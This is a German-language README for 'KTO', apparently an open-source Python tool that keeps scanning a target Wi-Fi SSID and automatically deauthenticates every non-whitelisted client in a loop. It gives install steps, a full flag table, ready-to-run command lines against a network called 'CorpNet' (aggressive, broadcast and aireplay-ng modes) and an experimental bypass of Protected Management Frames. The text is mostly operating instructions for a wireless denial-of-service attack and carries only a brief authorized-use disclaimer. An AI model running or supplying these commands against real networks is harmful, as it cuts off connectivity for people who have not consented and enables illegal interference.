
Automatisiertes Wi-Fi-Entauthentifizierungstool, das kontinuierlich nach Clients auf einer Ziel-SSID scannt und nicht in der Whitelist befindliche Geräte entfernt. Bietet Whitelist-Unterstützung, Mesh-/Multi-AP-Handhabung, PMF-Erkennung und experimentelle WPA2-PMF-Umgehung via EAPOL-Extraktion.
Richten Sie es auf eine SSID und es entdeckt automatisch jeden verbundenen Client und schmeißt ihn raus – auch solche, die versuchen, sich wieder zu verbinden – ohne manuelles Zielen.
Tools wie aireplay-ng zwingen Sie dazu, eine BSSID und eine Client-MAC anzugeben.
Sie müssen erst wissen, wer im Netzwerk ist, und wenn jemand sich wieder verbindet,
müssen Sie ihn selbst erwischen und den Befehl erneut ausführen. KTO erledigt das
alles automatisch in einer Schleife: kontinuierlicher Scan → Live-Client-Liste →
automatisches Deauth → wiederholen. Jeder, der sich wieder verbindet, wird beim
nächsten Durchlauf erwischt.
Nur für autorisierte Nutzung. Führen Sie dies nur gegen Netzwerke aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Nicht autorisiertes Deauthentifizieren ist in den meisten Ländern illegal.
--live-table zeigt eine sich aktualisierende Client-Tabelle
anstelle eines scrollenden Logs, gut für Vorführungen--log DATEI speichert jeden Kick mit einem
Zeitstempel, hängt an Sitzungen an--scan-only entdeckt und protokolliert Clients,
ohne Frames zu senden# Python 3.10+
pip install scapy
# aircrack-ng-Suite
sudo apt install aircrack-ng
Muss als root ausgeführt werden.
git clone https://github.com/Ymsniper/KTO.git
cd KTO
pip install scapy
Keine weitere Einrichtung erforderlich. Einzelnes Skript, keine Konfigurationsdateien.
sudo python3 kto.py -i <Schnittstelle> -t <SSID> [Optionen]
Die Schnittstelle muss sich im Monitormodus befinden, oder übergeben Sie --auto-monitor,
damit KTO dies übernimmt.
| Flag | Standard | Beschreibung |
|---|---|---|
-i, --interface | erforderlich | Drahtlose Schnittstelle (z. B. wlan0mon) |
-t, --target | erforderlich | Ziel-SSID-Name |
-w, --whitelist | --- | Kommagetrennte MACs, die ausgenommen werden sollen |
--whitelist-file DATEI | --- | Datei mit MACs, die ausgenommen werden sollen, eine pro Zeile (# = Kommentar) |
-c, --channel | auto | Auf einen bestimmten Kanal festlegen |
-n, --count | 5 | Deauth-Frames pro Burst pro Richtung |
-s, --sleep | 5,0 | Sekunden zwischen den Durchläufen |
--scan-duration | 8,0 | Sekunden, die airodump-ng pro Durchlauf horcht |
--delay | 0,1 | Verzögerung pro Client in der aggressiven Schleife |
--broadcast | aus | Auch ff:ff:ff:ff:ff:ff deauth-en |
--aireplay | aus | Statt Scapy aireplay-ng verwenden |
--aggressive | aus | Parallele Scan- + Deauth-Threads |
--scan-only | aus | Passiver Modus, keine Frames gesendet |
--auto-monitor | aus | Monitormodus automatisch über airmon-ng aktivieren |
--auto-bssid | aus | Stärkste BSSID für Mesh-/Multi-AP-SSIDs automatisch wählen |
--reason | 7 | 802.11-Grundcode (1=nicht spezifiziert, 4=Inaktivität, 7=Class3-Frame) |
--log DATEI | --- |
# Basis
sudo python3 kto.py -i wlan0mon -t "CorpNet"
# KTO den Monitormodus verwalten lassen
sudo python3 kto.py -i wlan0 -t "CorpNet" --auto-monitor
# Aggressiver Modus – kein Wiederverbindungsfenster
sudo python3 kto.py -i wlan0mon -t "CorpNet" --aggressive
# Eigenes Gerät ausnehmen
sudo python3 kto.py -i wlan0mon -t "CorpNet" -w AA:BB:CC:DD:EE:FF
# Nur passive Erkennung, kein Deauth
sudo python3 kto.py -i wlan0mon -t "CorpNet" --scan-only
# Mesh- oder Multi-AP-Netzwerk
sudo python3 kto.py -i wlan0mon -t "CorpNet" --auto-bssid
# Protokoll speichern und Live-Tabelle anzeigen
sudo python3 kto.py -i wlan0mon -t "CorpNet" --log session.txt --live-table
# Stärkerer Burst mit aireplay-ng
sudo python3 kto.py -i wlan0mon -t "CorpNet" -n 10 --aireplay --broadcast
# PMF-Bypass deaktivieren (auf Standard-Deauth bei WPA2+PMF zurückfallen)
sudo python3 kto.py -i wlan0mon -t "CorpNet" --no-bypass
# mein Telefon
AA:BB:CC:DD:EE:FF
# Laptop
11:22:33:44:55:66
Ab Version 2.1.6 enthält KTO eine experimentelle PMF-Funktion für WPA2-PSK-Netzwerke mit aktivierten Protected Management Frames (PMF). Wenn PMF in einem WPA2-Netzwerk erkannt wird, versucht KTO automatisch eine Falsch-Passwort-EAPOL-Extraktion:
Dieser Bypass erfordert NICHT das eigentliche Netzwerkpasswort – es benötigt nur die SSID.
Wichtige Einschränkungen:
Wenn Sie den Bypass vollständig überspringen und einfach Standard-Deauth-Frames senden möchten
(unter der Annahme, dass PMF-fähige Clients sie verwerfen), verwenden Sie das
Flag --no-bypass.
Wenn der Ziel-AP Protected Management Frames aktiviert hat, wird KTO beim Start warnen. Clients mit 802.11w-Unterstützung verwerfen ungeschützte Deauth-Frames stillschweigend, sodass die Effektivität davon abhängt, welche Geräte verbunden sind.
Allerdings wurde beobachtet, dass KTO im aggressiven Modus mit einem ausreichend hohen Deauth-Burst PMF-geschützte Clients in manchen Netzwerken dennoch trennen kann – auch ohne Bypass. Die schiere Menge an Frames scheint bestimmte Implementierungen zu überwältigen. PMF ist zwar eine kritische Verteidigung, aber nicht in jeder Einrichtung kugelsicher.
Strg+C beendet alles sauber, stellt die Schnittstelle in den Managed-Modus zurück,
falls KTO die Monitor-Schnittstelle erstellt hat, und gibt eine Sitzungszusammenfassung
mit Burst-Anzahl pro Client aus.
MIT-Lizenz – siehe LICENSE
| Zeitgestempeltes Kick-Protokoll in einer Datei speichern |
--live-table | aus | Aktualisierende Client-Tabelle statt scrollender Ausgabe |
--no-bypass, -nb | aus | Experimentellen PMF-Bypass deaktivieren |